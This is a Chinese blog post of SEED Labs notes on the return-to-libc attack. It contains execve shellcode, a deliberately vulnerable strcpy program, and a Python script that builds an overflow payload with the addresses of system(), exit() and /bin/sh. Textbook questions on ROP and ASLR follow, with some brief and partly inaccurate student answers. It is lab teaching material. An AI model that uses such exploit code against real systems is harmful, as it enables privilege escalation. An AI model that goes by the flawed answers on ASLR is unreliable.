seed-labs(return-to-libc)

2024-06-13 22:18
文章标签 labs return libc seed

本文主要是介绍seed-labs(return-to-libc),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

软件安全-return-to-libc

  • 概要
  • 攻击环境
  • 攻击阶段
    • 找到system()函数的地址
    • 找到字符串/bin/sh的地址
  • 第二部分 return-to-libc
    • 函数的序言
  • 返回导向编程
  • problems

概要

缓冲区溢出漏洞是把恶意代码注入到目标程序栈中发动攻击。为了抵御这种攻击,操作系统采用一个称为不可执行栈 的防御措施。这种防御措施能被另一种无须在栈中运行代码的攻击方法绕过,这种方法叫return-to-libc攻击。
shellcode.c

#include <string.h>const char code[] = "\x31\xc0""\x50""\x68""//sh""\x68""/bin""\x89\xe3""\x50""\x53""\x89\xe1""\x99""\xb0\x0b""\xcd\x80";int main(int argc, char **argv)
{char buffer[sizeof(code)];strcpy(buffer, code);   # 代码复制到栈中((void(*)())buffer)();  	# 执行代码
}
[06/14/21]seed@VM:~$ mkdir return-to-libc
[06/14/21]seed@VM:~$ cd return-to-libc/
[06/14/21]seed@VM:~/return-to-libc$ vim shellcode.c
[06/14/21]seed@VM:~/return-to-libc$ gcc -z execstack shellcode.c 
[06/14/21]seed@VM:~/return-to-libc$ a.out    
$ ^C                    # 另开一个shell
$ ^C
$ exit
[06/15/21]seed@VM:~/return-to-libc$ gcc -z noexecstack shellcode.c # 让栈不可执行
[06/15/21]seed@VM:~/return-to-libc$ a.out  #执行结果
Segmentation fault如果想要改变一个编译好的可行栈比特位 可以用一个execstack 的工具

内存中有一个区域存放很多代码,主要是标准C语言库函数,在linux 中,就是libc ,是个动态链接,
libc中有个函数最容易被利用,system()
在这里插入图片描述
上图为攻击原理,代码存放在不可执行的栈中,但是到最终的栈的时候调用了可执行共享库,所以攻击由此产生

攻击环境

#include <stdlib.h>
#include <stdio.h>
#include <string.h>int foo(char *str)
{char buffer[100];strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[400];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 300, badfile);foo(str);printf("Returned Properly\n");return 1;
}

攻击阶段

找到system()函数的地址

在这里插入图片描述
由此可见,当一个需要libc的程序运行时,libc函数库将被加载到内存中。
需要注意的是对于同一个程序,如果把它从set-uid改写成非set-uid程序,libc函数库的加载地址是不一样的

找到字符串/bin/sh的地址

为了让system()函数 “/bin/sh” 字符串"bin/sh"需要预先存在内存中,它的地址需要作为参数传给system()

export MYSHELL="/bin/sh"
#include <stdio.h>
#include <stdlib.h>int main()
{char *shell = (char *)getenv("MYSHELL");if (shell){printf(" Value: %s \n", shell);printf(" Address: %x\n", (unsigned int)shell);}return 1;
}

在这里插入图片描述

第二部分 return-to-libc

在这里插入图片描述
栈顶ebp在system最后一个参数位置处,4的位置就是 buffer函数地址。
如果计算出ebp到buffer的距离,就能够算出三个位置距离缓冲区起始位置的偏移值。
system函数的地址是偏移 + 4
exit函数的地址是偏移 + 8
字符串/bin/sh的地址是偏移 + 12

函数的序言

在这里插入图片描述
当调用函数时,返回地址(RA)被推到堆栈中。这是函数序言执行之前的函数的开始。堆栈指针(esp寄存器)指向RA位置。
上一帧指针被推到堆栈中,因此当函数返回时,调用方的帧指针将被恢复。
堆栈指针现在指向上一帧指针。帧指针(ebp)现在指向当前堆栈指针,以便帧指针始终指向旧帧指针。
堆栈指针现在移动N字节,为函数的局部变量留出空间。
在这里插入图片描述
堆栈指针现在指向帧指针所指向的位置,以便释放为局部变量分配的堆栈空间。
前一帧指针被分配给%ebp以恢复调用者函数的帧指针。
返回地址从堆栈中弹出,程序跳转到该地址。此指令移动堆栈指针。

/* prog.c */
void foo(int x)
{int a;a = x;
}void bar()
{int b = 5;foo (b);
}

在这里插入图片描述

gcc -S 将程序转成汇编代码

在这里插入图片描述

#!/usr/bin/python3
import sys# 给content填上非零值
content = bytearray(0xaa for i in range(300))a3 = 0xbfffff56     # /bin/sh的地址
content[120:124] = (a3).to_bytes(4, byteorder='little')a2 = 0xb7e56260     # exit函数地址
content[116:120] = (a2).to_bytes(4, byteorder='little')a1 = 0xb7e63310     # system函数地址
content[112:116] = (a1).to_bytes(4, byteorder='little')file = open("badfile", "wb")
file.write(content)
file.close()

在这里插入图片描述
system(cmd) 不是直接运行cmd,而是先运行/bin/sh,

返回导向编程

return-to-libc攻击不需要一定返回到一个个已有函数,从而把return-to-libc攻击推广到返回导向编程
攻击者可以跳到栈以外的代码,而不是栈中的代码,这就是return-to-libc的攻击思想

problems

1, After using the "-z noexecstack" option to compile a C program, a buffer-overflow
attack that causes the vulnerable program to return to the code on the stack is supposed
to fail, but some students find out that the attack is still successful. What could be the
reason? The students did everything correctly.成功了是因为确实在程序调用的时候使用了栈外system()执行了代码,而失败则是应为同样是栈内的2 In the function epilogue, the previous frame pointer, which is stored in the area below
the return address, will be retrieved and assigned to the ebp register. However, when
we overflow the return address, the previous frame pointer region is already modified, so
after the function epilogue, ebp contains some arbitrary value. Does this matter?
有关系,前面返回值的地址被修改且结束语包含任意 值则地址会被修改,随机地址分布,不容易被攻击3 Instead of jumping to the system() function, we would like to jump to the execve()
function to execute "/bin/sh". Please describe how to do this. You are allowed to
have zeros in your input (assume that memcpy() is used for memory copy, instead of
strcpy())
在发起return to libc攻击时,攻击者不会跳转到system()函数的开头,而是使程序跳转到system()函数序言之后的第一条指令。请描述攻击者应该如何构造输入数组。4 As we know, the system() function calls /bin/sh, which is a symbolic link to
/bin/bash. Recent versions of bash will drop the privilege if it detects that the
effective user ID and the real user ID are different. Assume that we still want to use
system() in our Return-to-libc attack, please describe how you can overcome this
challenge. You are allowed to have zeros in your input (assume that memcpy() is used
for memory copy, instead of strcpy())
如果我们还想使用system(), 则需要对当前陈旭变成set-uid程序5 When launching the return-to-libc attack, instead of jumping to the beginning of the
system() function, an attacker causes the program to jump to the first instruction right
after the function prologue in the system() function. Please describe how the attacker
should construct the input array6 Can address space layout randomization help defeat the return-to-libc attack?
没有左右,地址随机分布作用的是内存,然而return-to-libc是跳到栈以为的地址执行7 Does ASLR in Linux randomize the addresses of library functions, such as system()?
是的8 Assuming that we do not have the function system() that we can return to in our
Return-to-libc atack, but we know the instruction sequence A1, ..., Am, B1, ..., Bn, C1,
..., Ct can spawn a shell for us. If all the instructions in this sequence are located in
contiguous memory, we can simply jump to its beginning. Unfortunately, that is not the
case. The instructions in this sequence actually come from three sub-sequences, A, B, and
C, each of which is found at the end of a function, i.e., there is always a ret instruction
at the end of each sub-sequence. Each sub-sequence’s address is given below:
0xAABB1180: A1, ..., Am, ret
0xAABB2290: B1, ..., Bn, ret
0xAABB33A0: C1, ..., Ct, ret
Obviously, when we overflow a buffer, we will place 0xAABB1180 in the return address
field, so when the function returns, it will jump to the beginning of the sub-sequence
2 Return-to-libc Attack and ROP
A. Please describe what other values that you would place on the stack, so when the
sub-sequence A returns, it will jump to the sub-sequence B, and when the sub-sequence
B returns, it will jump to the sub-sequence C.
What is described above is called Return-Oriented Programming (ROP), which is a
generalized Return-to-libc technique. The Return-to-libc technique depends on the
availability of some functions such as system(); if such functions are not in the
memory, the technique will not work. With the ROP technique, an attacker can carefully
choose machine instruction sequences that are already present in the machine’s memory,
such that when these sequences are chained together, they can achieve the intended goal.
These sequences are called gadgets, which typically end in a return (ret) instruction
and are located in a subroutine within the existing program and/or shared library code.
The ret instruction is necessary, because the ROP technique depends on it to jump from
one sub-sequence to another. ROP gadgets can be chained together to allow an attacker to
perform arbitrary operations. Using ROP, the attacker does not need to call functions to
mount an attack.

Function foo() has a buffer overflow problem when copying your input to a buffer
that is inside its stack frame. We would like to get it to return to a sequence of function
calls: bar() ➙ bar() ➙ bar() ➙ xyz(3, 5) ➙ exit(). Assuming we
know their address. Please describe how you would use the buffer overflow problem to
construct the stack before letting foo() return. You should provide a stack diagram in
your answer
在这里插入图片描述

这篇关于seed-labs(return-to-libc)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1058574

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

try -catch-finally的理解,同时在try-catch-finally中含有return和throws的理解

在没有try-catch或try-catch-finally的情况下,程序正常执行到某行,在这行报错后,这行后面的代码就不执行了,程序就停止了,中断了。 例如   在有try-catch或try-catch-finally 情况上,在某行执行错误,在try中这行下的代码不执行,try外的代码执行。当然是catch在没有做处理的情况下。如果catch中做了处理,在不影响当前程序下,try

王立平--AES加密图片实现 SkImageDecoder::Factory return null

这个问题是在加密图片,存入sd卡,在解密出来展示,出现的。我个人研究了很久没解决。最后经过高人指点,终于解决了。 在此,拿出来分享,希望各位少走弯路。 我之前的设计思路是:(可以不看哦) 1.把图片从drawable读入成bitmap 2.bitmap-->byte 3.调用AES的byte加密算法。 4.加密成byte,在转化为string 5,把string存入sd卡。

Patlibc———更快捷的更换libc

起初是为了简化做pwn题目时,来回更换libc的麻烦,为了简化命令,弄了一个小脚本,可以加入到/usr/local/bin中,当作一个快捷指令🔢 这个写在了tools库(git clone https://github.com/CH13hh/tools.github.io )里面,如果有需要的话,可以随时下载,也可以提出一些优化 patlibc 安装与使用 patlibc 是一个用于简便替

安装 SideFX Labs

介绍 SideFX Labs 是一个完全免费开源的工具集。GIT地址:github.com/sideeffects/SideFXLabs 它是一个针对150多种工具的测试场,由于这些工具是在常规的 Houdini 开发周期之外开发的,因此可以更方便地进行测试和反馈。 其中的工具总结了常见的工作流程,并与常用软件建立了紧密的集成。目的是帮助用户更快地启动和执行“数字化内容创建”中常见的各种任

VS2013 + QT5.7.0静态编译 错误 .NMAKE:fatal error U1077. return code 0x2,使用 类 模板 需要 模板 参数列表

最近准备搞下QT,早有耳闻,QT的动态库机制让QT的程序大的无比,这我肯定是不能容忍的,准备使用静态库的方式,那就编译源码吧! 下面我说下环境以及碰到的问题 文章参考了http://blog.csdn.net/u011964923/article/details/52886908 ,但是我的报错了。。。下面是解决. 1.环境问题 1.QT版本 :qt5.7  qt-op

【C++】win7 64下VC++6.0(Unable to register this add-in because its DLLRegisterServer return an error)

 FileTool.exe用于替换 Visual C++ 使用开发人员 Studio 对象模型中的打开和添加到项目菜单项。也是一个修复 VC6.0打开文件时出错退出的插件。 1. 下载FileTool.exe,并解压 2. 打开VC6.0,点击File-Open Workspace,选择刚解压出来的FileTool.dsw,并确定 3. 点击Bulid-Build FileTool.

【靶场】upload-labs-master(前11关)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】upload-labs-master(前11关) 第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第

sqli-labs靶场通关攻略(61-65)

Less-61 步骤一:查看数据库 ?id=1')) and updatexml(1,concat(1,(select database())),1)--+ 步骤二:查看表名 ?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where ta